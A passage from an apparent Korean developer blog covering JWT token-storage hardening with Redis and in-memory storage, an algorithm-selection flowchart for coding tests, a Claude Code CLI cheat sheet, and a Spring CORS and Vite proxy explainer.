    public Optional<String> findMemberIdByToken(String tokenValue) {
        return Optional.ofNullable(
            redisTemplate.opsForValue().get(TOKEN_PREFIX + tokenValue));
    }

    // 전체 삭제: 로그아웃 / 탈퇴 시 모든 기기 세션 종료
    public void deleteAllByMemberId(String memberId) {
        Set<String> tokens = redisTemplate.opsForSet().members(MEMBER_PREFIX + memberId);
        if (tokens != null) {
            tokens.forEach(tv -> redisTemplate.delete(TOKEN_PREFIX + tv));
        }
        redisTemplate.delete(MEMBER_PREFIX + memberId);
    }
}

남은 취약점

저장소가 빨라졌지만 Access Token은 여전히 localStorage에 있었다.

Phase 4 — Access Token을 프론트엔드 메모리(tokenStore)로 전환

localStorage에서 완전히 벗어나 XSS로부터 Access Token을 보호한다.

localStorage와 메모리(모듈 변수)의 차이

localStorage는 브라우저가 관리하는 전역 저장소로, 같은 도메인의 모든 JavaScript 코드가 접근할 수 있다. XSS 공격으로 악성 스크립트가 삽입되면 localStorage.getItem()으로 토큰을 그대로 읽어갈 수 있다.

JavaScript 모듈 수준의 변수는 해당 모듈의 스코프 안에서만 존재한다. 다른 스크립트가 삽입되더라도 모듈 내부 변수에 직접 접근할 수 없다. 단, 페이지를 새로고침하면 변수가 초기화된다는 트레이드오프가 있다.

graph LR
    subgraph A["localStorage (ASIS)"]
        A1["JS 접근 범위: 같은 도메인 모든 JS ✅"]
        A2["XSS 탈취 위험: 있음 ✅"]
        A3["새로고침 후 유지: 자동 유지 ✅"]
        A4["복원 방법: 즉시 읽기 가능"]
    end
    subgraph B["메모리 tokenStore (TOBE)"]
        B1["JS 접근 범위: 해당 모듈 스코프만 ❌"]
        B2["XSS 탈취 위험: 없음 ❌"]
        B3["새로고침 후 유지: 초기화됨 ❌"]
        B4["복원 방법: /refresh 호출로 세션 복원"]
    end
    A -->|"Phase 4 전환\n이유: XSS 탈취 위험 제거"| B

ASIS → TOBE

// ASIS: localStorage에 직접 저장
localStorage.setItem('accessToken', token);
const token = localStorage.getItem('accessToken');

// TOBE: 모듈 수준 메모리 변수에만 보관
// tokenStore.ts
let _accessToken: string | null = null;

export const tokenStore = {
  get: () => _accessToken,
  set: (token: string) => { _accessToken = token; },
  clear: () => { _accessToken = null; },
};

// api.ts — tokenStore 적용
axiosInstance.interceptors.request.use((config) => {
  const token = tokenStore.get(); // localStorage 대신 메모리에서 읽기
  if (token) config.headers.Authorization = `Bearer ${token}`;
  return config;
});

// 401 수신 시 새 토큰도 메모리에 저장
const { data } = await axiosInstance.post('/api/member/refresh');
tokenStore.set(data.data.accessToken);

// AppContext.tsx — 앱 마운트 시 세션 복원
// 새로고침으로 메모리가 초기화되면, HttpOnly 쿠키의 Refresh Token으로 복원
useEffect(() => {
  authService.refresh()
    .then(({ accessToken }) => {
      tokenStore.set(accessToken);
      setIsAuthenticated(true);
    })
    .catch(() => setIsAuthenticated(false))
    .finally(() => setIsInitializing(false));
}, []);

남은 취약점

로그아웃 후 메모리는 즉시 비워지지만, 서버는 여전히 해당 Access Token을 유효한 것으로 처리한다. JWT는 stateless(상태 비저장) 방식이라 서버가 발급한 토큰을 일방적으로 무효화할 수 없기 때문이다.

Phase 5 — 로그아웃 시 Access Token을 Redis 블랙리스트에 등록

stateless JWT의 무효화 한계를 Redis로 극복한다.

stateless JWT의 구조적 한계

JWT는 서버가 상태를 저장하지 않는다는 것이 핵심 설계 원칙이다. 서명이 유효하고 만료 시간이 지나지 않았다면 서버는 무조건 인증을 허용한다. 이 구조에서는 로그아웃을 해도 발급된 토큰 자체를 서버가 취소할 방법이 없다.

Redis 블랙리스트는 이 한계를 우회하는 방법이다. 로그아웃 시 해당 Access Token을 Redis에 등록해두고, 이후 요청이 올 때마다 블랙리스트 여부를 먼저 확인한다. TTL을 토큰 잔여 유효 시간으로 설정하면 만료 후 자동 삭제되어 메모리 낭비 없이 운영할 수 있다.

트레이드오프: 모든 요청마다 Redis 조회가 한 번씩 추가된다. 완전한 stateless를 포기하는 대신 로그아웃 즉시 무효화를 얻는 선택이다.

백엔드: 블랙리스트 서비스 구현

// AuthBlacklistService.java
@Service
@RequiredArgsConstructor
public class AuthBlacklistService {

    private static final String KEY_PREFIX = "auth:blacklist:";
    private final RedisTemplate<String, String> redisTemplate;

    // 로그아웃 시 호출 — 잔여 유효 시간만큼 TTL 설정, 이후 자동 삭제
    public void blacklist(String accessToken, long remainingMillis) {
        if (remainingMillis > 0) {
            redisTemplate.opsForValue().set(
                KEY_PREFIX + accessToken, "1", remainingMillis, TimeUnit.MILLISECONDS);
        }
    }

    public boolean isBlacklisted(String accessToken) {
        return Boolean.TRUE.equals(redisTemplate.hasKey(KEY_PREFIX + accessToken));
    }
}

// JwtAuthenticationFilter.java — 토큰 검증 전 블랙리스트 먼저 확인
String token = extractBearerToken(request);
if (token != null && blacklistService.isBlacklisted(token)) {
    // 서명이 유효하더라도 블랙리스트에 있으면 인증 거부
    response.sendError(HttpServletResponse.SC_UNAUTHORIZED);
    return;
}
// 이후 서명·만료 시간 검증 진행

저장 방식별 비교 및 최종 선택 정리

5개 페이즈를 거치며 어떤 저장 방식을 왜 선택했는지, 각 방식의 장단점을 한눈에 비교한다.

Access Token 저장 위치 비교

graph LR
    subgraph A["ASIS: localStorage"]
        A1["개념: 브라우저 전역 키-값 저장소"]
        A2["JS 접근: 같은 도메인 모든 JS 접근 가능 ✅"]
        A3["XSS 탈취: 위험 ✅"]
        A4["새로고침: 자동 유지 ✅"]
    end
    subgraph B["TOBE: 메모리 tokenStore"]
        B1["개념: JS 모듈 스코프 내 변수"]
        B2["JS 접근: 모듈 외부 접근 불가 ❌"]
        B3["XSS 탈취: 안전 ❌"]
        B4["새로고침: 초기화 후 /refresh로 복원"]
    end
    A -->|"전환 이유: XSS 탈취 위험 제거"| B

Refresh Token 전송 방식 비교

graph LR
    subgraph A["ASIS: localStorage + 요청 바디"]
        A1["개념: JS로 직접 읽어 요청 바디에 포함"]
        A2["JS 접근: 가능 ✅"]
        A3["XSS 탈취: 위험 ✅"]
        A4["CSRF 위험: 없음 (수동 전송)"]
        A5["구현 복잡도: 낮음"]
    end
    subgraph B["TOBE: HttpOnly 쿠키"]
        B1["개념: 서버가 설정, 브라우저가 자동 첨부"]
        B2["JS 접근: 불가 — HttpOnly 플래그 ❌"]
        B3["XSS 탈취: 안전 ❌"]
        B4["CSRF 위험: 존재 — SameSite 설정으로 완화 ⚠️"]
        B5["구현 복잡도: 서버·클라이언트 양쪽 설정 필요"]
    end
    A -->|"전환 이유: 수명 14일 토큰의 JS 노출 위험 제거"| B

Refresh Token 서버 저장소 비교

graph LR
    subgraph A["ASIS: PostgreSQL"]
        A1["개념: 디스크 기반 관계형 DB"]
        A2["조회 성능: O(log n) 인덱스 검색"]
        A3["만료 처리: expire_at 컬럼 코드로 비교"]
        A4["영속성: 영구 저장 ✅"]
    end
    subgraph B["TOBE: Redis"]
        B1["개념: 메모리 기반 키-값 저장소"]
        B2["조회 성능: O(1) 메모리 직접 접근"]
        B3["만료 처리: TTL 설정 → 자동 삭제 ✅"]
        B4["영속성: 기본 휘발성 — 세션 데이터에 적합"]
    end
    A -->|"전환 이유: 빈번한 조회 성능 + 만료 자동화"| B

로그아웃 후 Access Token 처리 비교

graph LR
    subgraph A["ASIS: 무효화 없음"]
        A1["방식: stateless JWT — 서버가 상태를 저장하지 않음"]
        A2["로그아웃 후 토큰: 만료까지 유효 최대 1시간 ✅"]
        A3["추가 비용: 없음"]
        A4["메모리 사용: 없음"]
    end
    subgraph B["TOBE: Redis 블랙리스트"]
        B1["방식: 로그아웃한 토큰을 Redis에 등록 후 요청마다 확인"]
        B2["로그아웃 후 토큰: 즉시 무효화 ❌"]
        B3["추가 비용: 요청마다 Redis 조회 1회 추가"]
        B4["메모리 사용: TTL = 잔여 유효 시간 → 자동 정리"]
    end
    A -->|"전환 이유: 로그아웃 후 탈취 토큰 악용 차단"| B

코딩 테스트 해결 방법론 플로우차트

BI3A — Sun, 29 Mar 2026 22:55:50 +0900

flowchart TD
    START([문제]) --> Q1

    Q1{"노드/칸 사이를\n이동하는 문제?\nex) 미로, 지도, 네트워크"}
    Q1 -->|YES| Q1a{"최단 거리/비용\n을 구해야 함?"}
    Q1 -->|NO| Q2

    Q1a -->|YES| Q1b{"간선마다\n비용이 다름?\nex) 도로마다 거리 다름"}
    Q1a -->|NO| Q1c{"가능한 모든 경로/조합\n을 탐색해야 함?\nex) 모든 순열, N-Queen"}

    Q1b -->|YES| DIJKSTRA
    Q1b -->|NO| BFS

    Q1c -->|YES| DFS
    Q1c -->|NO| BFS_DFS(["BFS or DFS\n연결 확인, 영역 탐색"])

    Q2{"정렬된 배열에서\n값/경계를 찾아야 함?\nex) 이 값이 있나?\n최소 X 이상인 첫 위치는?"}
    Q2 -->|YES| BINARY
    Q2 -->|NO| Q3

    Q3{"최적값(최대/최소)을\n구해야 함?"}
    Q3 -->|YES| Q3a{"부분 결과가 반복적으로 겹침?\n= 같은 계산을 여러 번 하게 됨\nex) f(n) = f(n-1) + f(n-2)"}
    Q3 -->|NO| UNKNOWN([문제 재검토 / 유형 불명확])

    Q3a -->|YES| Q_DP1
    Q3a -->|NO| Q3b{"매 순간 가장 좋은 것만\n골라도 전체 최적?\nex) 동전 거스름돈, 회의실 배정\n반례가 없음을 증명 가능?"}

    Q3b -->|YES| GREEDY
    Q3b -->|NO| UNKNOWN

    Q_DP1{"무게/용량/합 제한 안에서\n최대 가치/최소 비용?\nex) 배낭에 물건 담기"}
    Q_DP1 -->|YES| KNAPSACK
    Q_DP1 -->|NO| Q_DP2

    Q_DP2{"수열에서 순서 유지하며\n가장 긴 증가/감소 부분?\nex) 탑 쌓기, 가장 긴 증가 수열"}
    Q_DP2 -->|YES| LIS_NODE
    Q_DP2 -->|NO| Q_DP3

    Q_DP3{"두 문자열/수열의\n공통 부분 최장 길이?\nex) 두 문자열의 공통 부분"}
    Q_DP3 -->|YES| LCS_NODE
    Q_DP3 -->|NO| Q_DP4

    Q_DP4{"작은 구간 결과로\n큰 구간 결과를 계산?\nex) 행렬 곱셈 순서, 괄호 묶기"}
    Q_DP4 -->|YES| INTERVAL_DP
    Q_DP4 -->|NO| OTHER_DP

    BFS["BFS
    ──────────────
    시간복잡도: O(V+E)
    자료구조: Queue
    ──────────────
    방법: 레벨 단위 탐색
    방문 배열로 중복 차단
    ──────────────
    dist[next] = dist[cur] + 1
    ──────────────
    백준 2178 미로 탐색"]

    DIJKSTRA["다익스트라
    ──────────────
    시간복잡도: O((V+E) log V)
    자료구조: PriorityQueue
    ──────────────
    방법: 최소 비용 노드부터 확정
    ──────────────
    dist[next] = min(dist[next],
                 dist[cur] + weight)
    ──────────────
    백준 1753 최단경로"]

    DFS["DFS / 백트래킹
    ──────────────
    시간복잡도: O(V+E) / O(N!)
    자료구조: Stack / 재귀
    ──────────────
    방법: 깊이 우선 탐색
    조건 불만족 시 가지치기
    ──────────────
    백준 9663 N-Queen"]

    BINARY["이분탐색
    ──────────────
    시간복잡도: O(log N)
    자료구조: 정렬 배열
    ──────────────
    방법: mid 기준으로 lo/hi 이동
    ──────────────
    while lo <= hi:
      mid = (lo+hi)/2
      if arr[mid] < target: lo=mid+1
      else: hi=mid-1
    ──────────────
    백준 1920 수 찾기"]

    GREEDY["그리디
    ──────────────
    시간복잡도: O(N log N)
    자료구조: 정렬 배열 / PQ
    ──────────────
    방법: 정렬 후
    매 순간 최선 선택
    ──────────────
    백준 11047 동전 0"]

    KNAPSACK["DP - 냅색
    ──────────────
    시간복잡도: O(N x W)
    자료구조: 1D/2D 배열
    ──────────────
    방법: 아이템 순회 x 용량 순회
    ──────────────
    dp[j] = max(dp[j],
            dp[j-w] + v)
    ──────────────
    백준 12865 평범한 배낭"]

    LIS_NODE["DP - LIS
    ──────────────
    시간복잡도: O(N²) / O(N log N)
    자료구조: 1D 배열
    ──────────────
    방법: 정렬 후 이전 원소와
    대소 비교하며 갱신
    ──────────────
    dp[i] = max(dp[j] + val[i])
    if val[j] < val[i]
    ──────────────
    백준 2655 가장 높은 탑 쌓기"]

    LCS_NODE["DP - LCS
    ──────────────
    시간복잡도: O(N x M)
    자료구조: 2D 배열
    ──────────────
    방법: 두 수열 동시 순회
    ──────────────
    if A[i]==B[j]:
      dp[i][j] = dp[i-1][j-1]+1
    else:
      dp[i][j] = max(dp[i-1][j],
                 dp[i][j-1])
    ──────────────
    백준 9251 LCS"]

    INTERVAL_DP["DP - 구간 DP
    ──────────────
    시간복잡도: O(N³)
    자료구조: 2D 배열
    ──────────────
    방법: 구간 길이를
    점점 늘려가며 계산
    ──────────────
    for len 2→n:
      for i:
        j = i+len
        dp[i][j] = min/max(...)
    ──────────────
    백준 11049 행렬 곱셈 순서"]

    OTHER_DP["DP - 기타
    ──────────────
    트리 DP: O(N)
    비트마스크 DP: O(N x 2^N)
    ──────────────
    백준 2533 사회망 서비스
    백준 2098 외판원 순회"]

상세 설명

BFS (너비 우선 탐색)

시간복잡도: O(V+E)
자료구조: Queue
사용 조건: 가중치 없는 그래프에서 최단 거리
핵심 점화식
```
dist[next] = dist[cur] + 1
```
예제 문제
- 백준 2178 - 미로 탐색 (Silver 1)
- 백준 7569 - 토마토 (Gold 5)

다익스트라

시간복잡도: O((V+E) log V)
자료구조: PriorityQueue (최소 힙)
사용 조건: 가중치 있는 그래프에서 단일 출발 최단 거리

핵심 점화식

dist[next] = min(dist[next], dist[cur] + weight)

예제 문제
- 백준 1753 - 최단경로 (Gold 4)
- 백준 1916 - 최소비용 구하기 (Gold 5)

DFS / 백트래킹

시간복잡도: O(V+E) 탐색 / O(N!) 백트래킹 최악
자료구조: 재귀 스택
사용 조건: 모든 경우의 수 탐색, 조합/순열, 조건 만족 여부

핵심 구조

void dfs(상태) {
    if (종료 조건) { 결과 처리; return; }
    for (다음 선택지) {
        if (가지치기 조건) continue;
        dfs(다음 상태);
    }
}

예제 문제
- 백준 9663 - N-Queen (Gold 4)
- 백준 15649 - N과 M(1) (Silver 3)

이분탐색

시간복잡도: O(log N)
자료구조: 정렬된 배열
사용 조건: 정렬된 배열에서 값 탐색, 파라메트릭 서치

핵심 점화식

while lo <= hi:
    mid = (lo + hi) / 2
    if arr[mid] < target: lo = mid + 1
    elif arr[mid] > target: hi = mid - 1
    else: return mid

예제 문제
- 백준 1920 - 수 찾기 (Silver 4)
- 백준 2805 - 나무 자르기 (Silver 2)

그리디

시간복잡도: O(N log N) (정렬 포함)
자료구조: 정렬 배열 / PriorityQueue
사용 조건: 현재 최선 선택이 전체 최선을 보장할 때

핵심 구조

배열 정렬
for 각 원소:
    현재 기준으로 최선 선택

예제 문제
- 백준 11047 - 동전 0 (Silver 1)
- 백준 1931 - 회의실 배정 (Silver 1)

DP - 냅색 (Knapsack)

시간복잡도: O(N × W)
자료구조: 1D 또는 2D 배열
사용 조건: 용량/합 제한 안에서 최대 가치

핵심 점화식

// 0/1 냅색 (아이템 1번만 사용)
for i in 1..N:              // 아이템 순회
    for j in W..w[i]:       // 용량 역순 순회
        dp[j] = max(dp[j], dp[j - w[i]] + v[i])

// 무한 냅색 (아이템 반복 사용)
for i in 1..N:
    for j in w[i]..W:       // 용량 정순 순회
        dp[j] = max(dp[j], dp[j - w[i]] + v[i])

예제 문제
- 백준 12865 - 평범한 배낭 (Gold 5)
- 백준 7579 - 앱 (Gold 3)

DP - LIS (최장 증가 부분 수열)

시간복잡도: O(N²) 기본 / O(N log N) 이분탐색 최적화
자료구조: 1D 배열
사용 조건: 원소 간 순서와 값 대소 관계가 모두 중요할 때

핵심 점화식

// O(N²)
dp[i] = bricks[i].h  // 기저: 자기 자신
for j in 0..i:
    if val[j] < val[i]:
        dp[i] = max(dp[i], dp[j] + val[i])

// O(N log N) - tails 배열 유지
for x in arr:
    pos = lower_bound(tails, x)
    tails[pos] = x

예제 문제
- 백준 2655 - 가장 높은 탑 쌓기 (Gold 3)
- 백준 14003 - 가장 긴 증가하는 부분 수열 5 (Platinum 5)

DP - LCS (최장 공통 부분 수열)

시간복잡도: O(N × M)
자료구조: 2D 배열
사용 조건: 두 수열의 공통된 부분 수열 최대 길이

핵심 점화식

if A[i] == B[j]:
    dp[i][j] = dp[i-1][j-1] + 1
else:
    dp[i][j] = max(dp[i-1][j], dp[i][j-1])

예제 문제
- 백준 9251 - LCS (Gold 5)
- 백준 9252 - LCS 2 (Gold 4)

DP - 구간 DP

시간복잡도: O(N³)
자료구조: 2D 배열
사용 조건: 구간 [i, j]를 점점 넓혀가며 최적값 계산

핵심 점화식

for len in 2..N:          // 구간 길이
    for i in 0..N-len:    // 시작점
        j = i + len       // 끝점
        for k in i..j:    // 분할점
            dp[i][j] = min/max(dp[i][k] + dp[k+1][j] + cost)

예제 문제
- 백준 11049 - 행렬 곱셈 순서 (Gold 3)
- 백준 1918 - 후위 표기식 (Gold 2)

CLAUDE CODE CHEAT SHEET (단축키, 명령어, 파일 구조 정리)

BI3A — Fri, 27 Mar 2026 12:17:27 +0900

CLAUDE CODE CHEAT SHEET, CLI 명령어 정리

Claude Code CLI를 편리하게 사용하기 위한 명령어와 단축키, 파일 구조 정리 시트입니다.

키보드 단축키

일반 제어

Ctrl + C : 현재 실행 중인 명령이나 응답 생성을 즉시 취소
Ctrl + D : 현재 CLI 세션을 종료
Ctrl + L : 터미널 화면을 지워 현재 작업에 집중
Ctrl + O : 출력 상세 수준을 전환 (간략 / 상세 로그)
Ctrl + R : 이전에 실행한 명령을 히스토리에서 검색
Ctrl + G : 프롬프트 편집기를 열어 입력을 편집

작업 제어

Ctrl + B : 현재 작업을 백그라운드 실행으로 전환
Ctrl + T : 실행 중인 작업 목록을 확인하거나 전환
Ctrl + V : 클립보드에 있는 이미지를 입력에 붙여넣기
Ctrl + F : 실행 중인 백그라운드 에이전트를 종료 (보안상 두 번 입력 필요)
Esc : 현재 입력 상태를 초기 상태로 되돌림

모드 전환

Shift + Tab : Claude 권한 모드를 순환 전환 (일반 / 자동 / 계획)
Alt + P : 현재 사용할 Claude 모델을 변경
Alt + T : Thinking 모드를 전환하여 더 깊은 추론을 활성화

입력 제어

Enter : 입력
Ctrl + J, Shift + Enter : 줄바꿈

접두사

/ : Claude CLI 내부 명령 실행 (슬래시 명령어)
! : bash 쉘 명령을 CLI 내부에서 직접 실행
@ : 파일이나 경로를 참조하고 자동완성

명령어

MCP 서버 관리

서버 추가
- --transport http : 원격 HTTP 기반 MCP 서버 연결 (일반적인 방식)
- --transport stdio : 로컬 프로세스로 MCP 서버 실행
- --transport sse : Server-Sent Events 방식의 원격 MCP 서버 연결
서버 관리
- /mcp : MCP 서버 연결과 인증을 관리하는 인터랙티브 UI 실행
- claude mcp list : 현재 등록된 MCP 서버 목록 확인
- claude mcp serve : Claude 인스턴스를 MCP 서버로 실행

Elicitation Servers

작업 중 사용자에게 추가 입력을 요청할 수 있는 인터랙티브 서버 기능이다.

세션 관련

/clear : 현재 대화 컨텍스트 초기화
/compact : 이전 대화를 압축해 컨텍스트 사용량 감소
/resume : 이전 세션을 다시 이어서 실행, 세션 매니저로 진입
- 세션 선택기 (Session Selector)
  - ↑ ↓ : 저장된 세션 목록을 탐색
  - → ← : 세션 세부 정보 확장 또는 축소
  - P : 선택한 세션 미리보기
  - R : 세션 이름 변경
  - / : 세션 검색
  - A : 모든 프로젝트 세션 표시
  - B : 현재 Git 브랜치 관련 세션 표시
/rename : 현재 세션 이름 변경
/branch : 현재 대화를 기반으로 새 브랜치 생성
/cost : 현재 세션에서 사용된 토큰 및 비용 확인
/context : 현재 컨텍스트 사용량 확인
/diff : 코드 변경 차이 비교
/copy : 결과를 클립보드에 복사
/export : 대화 내용을 파일로 내보내기

설정 관련

/config : CLI 설정 조회 및 수정
/model : 사용 중인 Claude 모델 변경
/fast : 빠른 응답 모드 활성화
/vim : Vim 스타일 입력 모드 활성화
/theme : CLI 색상 테마 변경
/permissions : 권한 모드 변경 (shift + tab도 가능)
- 권한 모드
  - default : 기본 권한 모드
  - acceptEdits : 코드 수정 자동 허용
  - plan : 실행 전 계획 생성 모드
  - dontAsk : 사용자 확인 없이 실행
  - bypassPermissions : 권한 체크 우회
/effort : 추론 노력 수준 설정
- /effort low, /effort medium, /effort high 가 있으며, ultrathink가 최상
/color : 출력 색상 설정

도구 관련

/init : 프로젝트용 CLAUDE.md 초기화
/memory : Claude 메모리 파일 관리
/mcp : MCP 서버 설정 관리
/hooks : 자동 실행 훅 설정
/skills : Claude 스킬 관리
/agents : 에이전트 관리
/chrome : Chrome 브라우저 연동
/reload-plugins : 플러그인 재로드

특수 명령

/btw : 현재 대화와 별개의 질문 실행
/plan : 작업 계획을 생성
/loop : 반복 작업 실행
/voice : 음성 입력 모드 활성화
/doctor : CLI 환경 진단
/rc : 원격 제어 기능 실행
/pr-comments : Pull Request 코멘트 확인
/stats : 사용 통계 확인
/insights : 분석 정보 확인
/desktop : 데스크톱 앱 연결
/remote-control : 원격 제어 기능
/stickers : 스티커 기능

스킬 및 에이전트

내장 스킬
- /simplify : 코드 단순화
- /batch : 반복 작업 자동화
- /debug : 디버깅 지원
- /loop : 반복 실행 작업
- /claude-api : Claude API 작업 지원

메모리 및 파일 구조

CLAUDE.md

프로젝트 : ./CLAUDE.md 프로젝트 전용 AI 설정 파일
개인 : ~/.claude/CLAUDE.md 개인 전역 설정
조직 : /etc/claude-code/Managed 조직 관리 설정

규칙 및 임포트

.claude/rules/*.md : 프로젝트 규칙 파일
~/.claude/rules/*.md : 개인 규칙 파일

자동 메모리

~/.claude/projects/<project>/memory/
- MEMORY.md : 기본 프로젝트 메모리
- *.md : 주제별 메모리 파일 : 기능별 저장

설정 파일

~/.claude/settings.json : 전역(글로벌) 설정
.claude/settings.json : 프로젝트 설정
.claude/settings.local.json : 로컬 설정

상태 및 인증

~/.claude.json : 상태 파일
.mcp.json : 프로젝트 MCP 서버 설정
- 핵심 설정 항목
  - modelOverrides : 프로젝트별 모델 오버라이드
  - autoMemoryDirectory : 자동 메모리 저장 위치
  - worktree.sparsePaths : 부분 체크아웃 경로
- 환경 변수
  - ANTHROPIC_API_KEY : API 인증 키
  - ANTHROPIC_MODEL : 사용할 Claude 모델 지정
  - CLAUDE_CODE_EFFORT_LEVEL : 추론 노력 수준 설정
  - MAX_THINKING_TOKENS : 최대 사고 토큰 수 제한
  - ANTHROPIC_CUSTOM_MODEL_OPTION : 커스텀 모델 옵션
  - CLAUDE_CODE_PLUGIN_SEED_DIR : 플러그인 시드 디렉토리
  - CLAUDE_CODE_MAX_OUTPUT_TOKENS : 최대 출력 토큰 수 제한
  - CLAUDE_CODE_DISABLE_CRON : 크론 작업 비활성화

커스텀 스킬

.claude/skills/<skill-name>.md/ : 프로젝트 스킬
~/.claude/skills/<skill-name>.md/ : 개인 스킬
- 스킬 마크다운 프론트매터
  - description : 스킬 설명
  - allowed-tools : 사용 가능한 도구 목록
  - model : 사용할 모델
  - effort : 추론 깊이
  - context : 컨텍스트 설정
  - $ARGUMENTS : 사용자 입력 전달
  - ${CLAUDE_SKILL_DIR} : 스킬 디렉토리 경로
  - !cmd : 쉘 명령 실행

즉, 커스텀 스킬 마크다운은 아래와 같은 형태로 작성됨.

---
description: 스테이징된 변경사항을 분석해서 Conventional Commits 형식의 커밋 메시지를 자동으로 생성합니다.
allowed-tools: bash
model: claude-haiku-4-5
effort: low
---

# Git 커밋 메시지 생성기

## 사전 실행
!git diff --staged

## 역할
너는 Git 커밋 메시지 작성 전문가야.
위에서 실행된 `git diff --staged` 결과를 분석해서
Conventional Commits 규칙에 맞는 커밋 메시지를 작성해줘.

## 커밋 메시지 형식
```

서브에이전트

- .claude/agentss/<agent-name>.md/ : 프로젝트 서브에이전트
- ~/.claude/agents/<agent-name>.md/ : 개인 서브에이전트
  - 서브에이전트 마크다운 프론트매터
    - permissionMode : 권한 모드
    - isolation : 실행 격리
    - memory : 메모리 사용 여부
    - background : 백그라운드 실행
    - maxTurns : 최대 대화 턴
    - SendMessage : 메시지 전송 기능

즉, 서브에이전트 마크다운은 아래와 같이 작성되어야 함.

---
name: code-reviewer
description: 코드 리뷰 전문 에이전트. PR 분석 및 개선점 제안.
allowed-tools: read, bash
model: claude-haiku-4-5
---

# 코드 리뷰어
너는 시니어 개발자야. 코드의 가독성, 성능, 보안을 중심으로 리뷰해줘.

You are all set up.

CLAUDE 토큰을 아끼는법, CLAUDE.md 작성 (작성중)

BI3A — Tue, 24 Mar 2026 07:25:49 +0900

/clear

CORS와 프록시 — CorsConfig / SecurityConfig / Proxy (작성중)

BI3A — Sun, 22 Mar 2026 03:30:45 +0900

Spring & Spring Boot

CORS란

브라우저는 출처(Origin) 가 다른 서버로의 요청을 기본적으로 차단한다.

Origin = 프로토콜 + 도메인 + 포트

http://localhost:5173 ≠ http://localhost:8080 → 다른 Origin

프론트(5173)에서 백엔드(8080)로 요청하면 브라우저가 이를 감지하고, 실제 요청 전에 preflight 요청(OPTIONS 메서드) 을 먼저 보내 서버가 허용하는지 물어본다.

브라우저 → OPTIONS /api/projects (preflight)
백엔드   → 200 OK + Access-Control-Allow-Origin: http://localhost:5173
브라우저 → 허용 확인 후 실제 GET /api/projects 전송

서버가 허용 응답을 주지 않으면 브라우저가 실제 요청 자체를 차단한다.
차단은 서버가 하는 게 아니라 브라우저가 한다.

CorsConfig — "무엇을 허용할 것인가" 정의

@Configuration
public class CorsConfig {

    @Value("${cadence.cors.allowed-origins}")
    private String[] allowedOrigins;

    @Bean
    public CorsConfigurationSource corsConfigurationSource() {
        CorsConfiguration config = new CorsConfiguration();
        config.setAllowedOriginPatterns(List.of(allowedOrigins)); // 허용 출처
        config.setAllowedMethods(List.of("GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"));
        config.setAllowedHeaders(List.of("*"));
        config.setAllowCredentials(true); // Authorization 헤더 허용
        ...
    }
}

역할: CORS 규칙 자체를 정의하는 곳.
허용할 출처, 메서드, 헤더를 명시하고 CorsConfigurationSource 빈으로 등록한다.
Spring MVC 레벨(Controller에 도달하기 직전)에서 작동한다.

setAllowedOrigins vs setAllowedOriginPatterns

메서드	특징
`setAllowedOrigins`	정확한 문자열 일치. `*`와 `setAllowCredentials(true)` 동시 사용 불가
`setAllowedOriginPatterns`	와일드카드 패턴 허용. `setAllowCredentials(true)`와 함께 사용 가능

SecurityConfig — "누가 이 규칙을 쓸 것인가" 연결

.cors(cors -> cors.configurationSource(corsConfigurationSource))

역할: CorsConfig가 정의한 규칙을 Spring Security 필터 체인에 연결한다.

Spring Security 필터는 Spring MVC보다 먼저 실행된다.
SecurityConfig에 CORS를 연결하지 않으면 preflight(OPTIONS) 요청이 Security 필터에서 먼저 막혀버린다.

HTTP 요청
  → [Spring Security 필터]  ← SecurityConfig가 corsConfigurationSource 참조
      → [Spring MVC]         ← CorsConfig 빈이 작동하는 레이어
          → Controller

두 파일의 관계 요약

	CorsConfig	SecurityConfig
역할	CORS 규칙 정의 (what)	Security 필터에 규칙 연결 (who uses it)
설정 위치	Spring MVC 레벨	Security 필터 레벨 (더 앞)
단독 동작	Security 없이도 작동	규칙 자체를 정의하지 않음

CorsConfig만 있고 SecurityConfig에 연결 안 하면?
→ preflight가 Security에서 401/403으로 차단되어 모든 API 호출 실패.

SecurityConfig에만 인라인으로 정의하면?
→ 동작은 하지만 허용 출처가 하드코딩되어 환경별 관리가 어렵고, 설정이 두 곳에 분산된다.

Vite Server Proxy — 개발 환경 전용 우회

// vite.config.ts
server: {
  proxy: {
    '/api': {
      target: 'http://localhost:8080',
      changeOrigin: true,
    },
  },
},

역할: 로컬 개발 시 CORS를 서버 설정 없이 우회한다.

브라우저는 같은 5173 서버에 요청한다고 인식하고, Vite 개발서버가 백엔드로 포워딩한다.

브라우저(5173) --/api/projects--> Vite 개발서버(5173) ---> 백엔드(8080)
               ↑ 같은 Origin (CORS 없음)               ↑ 서버 간 통신 (CORS 없음)

changeOrigin: true
포워딩 시 요청의 Host 헤더를 localhost:8080으로 바꾼다.
없으면 백엔드가 localhost:5173으로 된 Host를 받아 거부할 수 있다.

세 가지의 관계 정리

	CorsConfig	SecurityConfig	Vite Proxy
동작 환경	로컬 + 운영	로컬 + 운영	로컬 개발만
처리 주체	Spring 서버	Spring 서버	Vite 개발서버
목적	CORS 허용 규칙 정의	Security 필터에 CORS 연결	브라우저 CORS 자체를 우회

로컬 개발 흐름

브라우저 → Vite proxy → 백엔드
         (CORS 우회)   (CorsConfig + SecurityConfig은 동작하나 실질적으로 무관)

운영 배포 흐름

브라우저 → CDN/프론트 서버 → 백엔드
          (Vite proxy 없음)  (CorsConfig + SecurityConfig이 실제로 작동)

운영에서는 Vite proxy가 없으므로 CorsConfig의 allowedOrigins에 실제 프론트 도메인이 정확히 등록되어 있어야 한다.

6. CORS 흐름

application-local.properties
cors.allowed-origins=http://localhost:5173
          ↓ @Value 주입
CorsConfig.corsConfigurationSource()
          ↓ 빈 주입
SecurityConfig.cors(...)

허용 출처를 변경할 때는 application-local.properties의 cadence.cors.allowed-origins 값 하나만 수정하면 전체에 반영된다.

AI 코드 툴 터미널 메모리 사용량 제한 방법(CLAUDE)

BI3A — Sun, 22 Mar 2026 01:08:26 +0900

클로드, Gemini, ChatGPT Code CLI를 사용하는 개발자들을 위한 작은 꿀팁

AI 코드 툴을 CLI 형태로 사용하는 개발자가 많아졌다.

특히 Claude Code, Gemini CLI, OpenAI Codex CLI 같은 도구들은

대형 코드베이스를 읽거나 긴 세션을 유지하면서 생각보다 많은 RAM을 사용한다.

특히 노트북 환경에서는 CLI AI 도구 하나가 2GB 이상 메모리를 사용하는 경우도 흔하다.
그래서 개발 환경을 안정적으로 유지하려면 Node 기반 CLI의 메모리를 제한하는 방법을 알아두면 좋다.

